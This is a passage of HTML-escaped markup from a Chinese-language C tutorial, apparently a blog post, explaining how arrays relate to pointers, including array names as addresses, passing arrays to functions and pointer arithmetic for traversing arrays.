class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u0026amp;a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, *p); \u003cspan class=\"comment\"\u003e// Prints \u0026#34;11\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e\u0026amp;a[0]\u003c/code\u003e就是数组\u003ccode\u003ea\u003c/code\u003e的首个成员\u003ccode\u003e11\u003c/code\u003e的内存地址,也是整个数组的起始地址。反过来,从这个地址(\u003ccode\u003e*p\u003c/code\u003e),可以获得首个成员的值\u003ccode\u003e11\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e由于数组的起始地址是常用操作,\u003ccode\u003e\u0026amp;array[0]\u003c/code\u003e的写法有点麻烦,C 语言提供了便利写法,数组名等同于起始地址,也就是说,数组名就是指向第一个成员(\u003ccode\u003earray[0]\u003c/code\u003e)的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u0026amp;a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e\u0026amp;a[0]\u003c/code\u003e和数组名\u003ccode\u003ea\u003c/code\u003e是等价的。\u003c/p\u003e\u003cp\u003e这样的话,如果把数组名传入一个函数,就等同于传入一个指针变量。在函数内部,就可以通过这个指针变量获得整个数组。\u003c/p\u003e\u003cp\u003e函数接受数组作为参数,函数原型可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[], \u003cspan class=\"type\"\u003eint\u003c/span\u003e len)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e len)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,传入一个整数数组,与传入一个整数指针是同一回事,数组符号\u003ccode\u003e[]\u003c/code\u003e与指针符号\u003ccode\u003e*\u003c/code\u003e是可以互换的。下一个例子是通过数组指针对成员求和。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e len)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e total = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 假定数组有 10 个成员\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; len; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e total += arr[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e total;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,传入函数的是一个指针\u003ccode\u003earr\u003c/code\u003e(也是数组名)和数组长度,通过指针获取数组的每个成员,从而求和。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e*\u003c/code\u003e和\u003ccode\u003e\u0026amp;\u003c/code\u003e运算符也可以用于多维数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e4\u003c/span\u003e][\u003cspan class=\"number\"\u003e2\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 取出 a[0][0] 的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*(a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e**a\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,由于\u003ccode\u003ea[0]\u003c/code\u003e本身是一个指针,指向第二维数组的第一个成员\u003ccode\u003ea[0][0]\u003c/code\u003e。所以,\u003ccode\u003e*(a[0])\u003c/code\u003e取出的是\u003ccode\u003ea[0][0]\u003c/code\u003e的值。至于\u003ccode\u003e**a\u003c/code\u003e,就是对\u003ccode\u003ea\u003c/code\u003e进行两次\u003ccode\u003e*\u003c/code\u003e运算,第一次取出的是\u003ccode\u003ea[0]\u003c/code\u003e,第二次取出的是\u003ccode\u003ea[0][0]\u003c/code\u003e。同理,二维数组的\u003ccode\u003e\u0026amp;a[0][0]\u003c/code\u003e等同于\u003ccode\u003e*a\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,数组名指向的地址是不能更改的。声明数组时,编译器自动为数组分配了内存地址,这个地址与数组名是绑定的,不可更改,下面的代码会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e ints[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eints = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,重新为数组名赋值,改变原来的内存地址,就会报错。\u003c/p\u003e\u003cp\u003e这也导致不能将一个数组名赋值给另外一个数组名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e b[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = a; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e b[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb = a; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两种写法都会更改数组\u003ccode\u003eb\u003c/code\u003e的地址,导致报错。\u003c/p\u003e\u003ch3 id=\"数组指针的加减法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84%E6%8C%87%E9%92%88%E7%9A%84%E5%8A%A0%E5%87%8F%E6%B3%95\" class=\"headerlink\" title=\"数组指针的加减法\"\u003e\u003c/a\u003e数组指针的加减法\u003c/h3\u003e\u003cp\u003eC 语言里面,数组名可以进行加法和减法运算,等同于在数组成员之间前后移动,即从一个成员的内存地址移动到另一个成员的内存地址。比如,\u003ccode\u003ea + 1\u003c/code\u003e返回下一个成员的地址,\u003ccode\u003ea - 1\u003c/code\u003e返回上一个成员的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, *(a + i));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过指针的移动遍历数组,\u003ccode\u003ea + i\u003c/code\u003e的每轮循环每次都会指向下一个成员的地址,\u003ccode\u003e*(a + i)\u003c/code\u003e取出该地址的值,等同于\u003ccode\u003ea[i]\u003c/code\u003e。对于数组的第一个成员,\u003ccode\u003e*(a + 0)\u003c/code\u003e(即\u003ccode\u003e*a\u003c/code\u003e)等同于\u003ccode\u003ea[0]\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e由于数组名与指针是等价的,所以下面的等式总是成立。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ea[b] == *(a + b)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码给出了数组成员的两种访问方式,一种是使用方括号\u003ccode\u003ea[b]\u003c/code\u003e,另一种是使用指针\u003ccode\u003e*(a + b)\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果指针变量\u003ccode\u003ep\u003c/code\u003e指向数组的一个成员,那么\u003ccode\u003ep++\u003c/code\u003e就相当于指向下一个成员,这种方法常用来遍历数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e, \u003cspan class=\"number\"\u003e999\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (*p != \u003cspan class=\"number\"\u003e999\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, *p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过\u003ccode\u003ep++\u003c/code\u003e让变量\u003ccode\u003ep\u003c/code\u003e指向下一个成员。\u003c/p\u003e\u003cp\u003e注意,数组名指向的地址是不能变的,所以上例中,不能直接对\u003ccode\u003ea\u003c/code\u003e进行自增,即\u003ccode\u003ea++\u003c/code\u003e的写法是错的,必须将\u003ccode\u003ea\u003c/code\u003e的地址赋值给指针变量\u003ccode\u003ep\u003c/code\u003e,然后对\u003ccode\u003ep\u003c/code\u003e进行自增。\u003c/p\u003e\u003cp\u003e遍历数组一般都是通过数组长度的比较来实现,但也可以通过数组起始地址和结束地址的比较来实现。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* start, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* end)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e total = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (start \u0026lt; end) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e total += *start;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e start++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e total;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e20\u003c/span\u003e, \u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e39\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%i\\n\u0026#34;\u003c/span\u003e, sum(arr, arr + \u003cspan class=\"number\"\u003e5\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003earr\u003c/code\u003e是数组的起始地址,\u003ccode\u003earr + 5\u003c/code\u003e是结束地址。只要起始地址小于结束地址,就表示还没有到达数组尾部。\u003c/p\u003e\u003cp\u003e反过来,通过数组的减法,可以知道两个地址之间有多少个数组成员,请看下面的例子,自己实现一个计算数组长度的函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e20\u003c/span\u003e, \u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e39\u003c/span\u003e, \u003cspan class=\"number\"\u003e88\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = arr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (*p != \u003cspan class=\"number\"\u003e88\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%i\\n\u0026#34;\u003c/span\u003e, p - arr); \u003cspan class=\"comment\"\u003e// 